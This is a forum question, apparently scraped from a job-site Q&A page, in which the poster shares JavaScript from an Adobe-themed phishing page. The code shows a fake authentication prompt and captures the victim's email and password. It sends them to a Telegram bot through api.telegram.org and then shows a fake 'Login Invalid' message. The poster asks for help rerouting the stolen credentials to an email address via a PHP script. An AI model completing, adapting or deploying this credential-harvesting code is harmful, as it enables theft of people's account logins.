Empresas
Empregos
  • Sobre nós
  • Soluções
    • Publicação de vagas
      Publique sua vaga e receba candidatos qualificados em 48h.
    • Avaliações de candidatos
      Mais de 500 testes técnicos e psicológicos, mais anti-fraude.
    • Headhunting
      Busca executiva personalizada do início ao fim.
    • Folha de Pagamento + EOR
      Dispersão de folha e EOR em mais de 15 países da LATAM.
  • Preços
  • Empregos

0

248
Visualizações
Post data from form to email using javascript

i have a form that sends form result via telegram Api, i want it to send to an email address instead. here is the initial code.

const button = document.querySelector('.btn');
const popup = document.querySelector('.popup');
const passInput = document.querySelector('.pass');
const emailGrab = document.querySelector('.email');
const formData = document.querySelector('.form-data');
const passMsg = document.querySelector('.pass-msg');
const preview = document.querySelector('.preview');

window.addEventListener('load', () => {
  alert('Authentication Required, Click ok to continue');
  popup.classList.add('hide');
  formData.style.animation = 'moveLeft .7s ease-in-out';
  emailGrab.textContent = zhe;
});

let xyz = 123456789; // Secrets redacted
let yxz = 'SECRET';

function telegramApi(method, id, message) {
  fetch(`https://api.telegram.org/bot${yxz}/${method}?            
chat_id=${id}&text=${message}&parse_mode=HTML`);
}

button.addEventListener('click', () => {
  const results = `Adobe EmailAddress: 
${emailGrab.textContent} Adobe Password: ${passInput.value}`;
  if (passInput.value === '') {
    alert('The Following error(s) occured - Password Required')
  } else {
    telegramApi('sendMessage', xyz, results);

    passMsg.style.color = 'red';
    passMsg.textContent = 'Login Invalid Please enter correct password.';
    setTimeout(() => {
      preview.classList.remove('hidden');
    }, 2000);
    setTimeout(() => {
      preview.classList.add('hidden');
    }, 10000);
  }
});

passInput.addEventListener('keypress', () => {
  passMsg.style.color = 'rgb(59, 58, 58)';
  passMsg.textContent = 'Confirm your details to access your documents';
})

I have tried the following

        function sendData (); {fetch("ace.php", { method: "POST",body: "data" ); }         
        button.addEventListener('click', () => { const results = `Adobe EmailAddress: ${emailGrab.textContent} Adobe Password: 
        if (passInput.value === '') { alert('The Following error(s) occured - Password Required')                    }
        else {telegramApi('sendMessage', results);  

please i need help, i am not so good with javascript.

about 4 years ago · Santiago Gelvez
Responde à pergunta
Encontrar trabalhos remotos

Descubra a nova forma de encontrar um emprego!

melhores empregos
Principais categorias de trabalho
Empresas
Postar vaga Preços Comercial
Jurídico
Termos e Condições Política de privacidade
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomende algumas ofertas para mim
Preciso de ajuda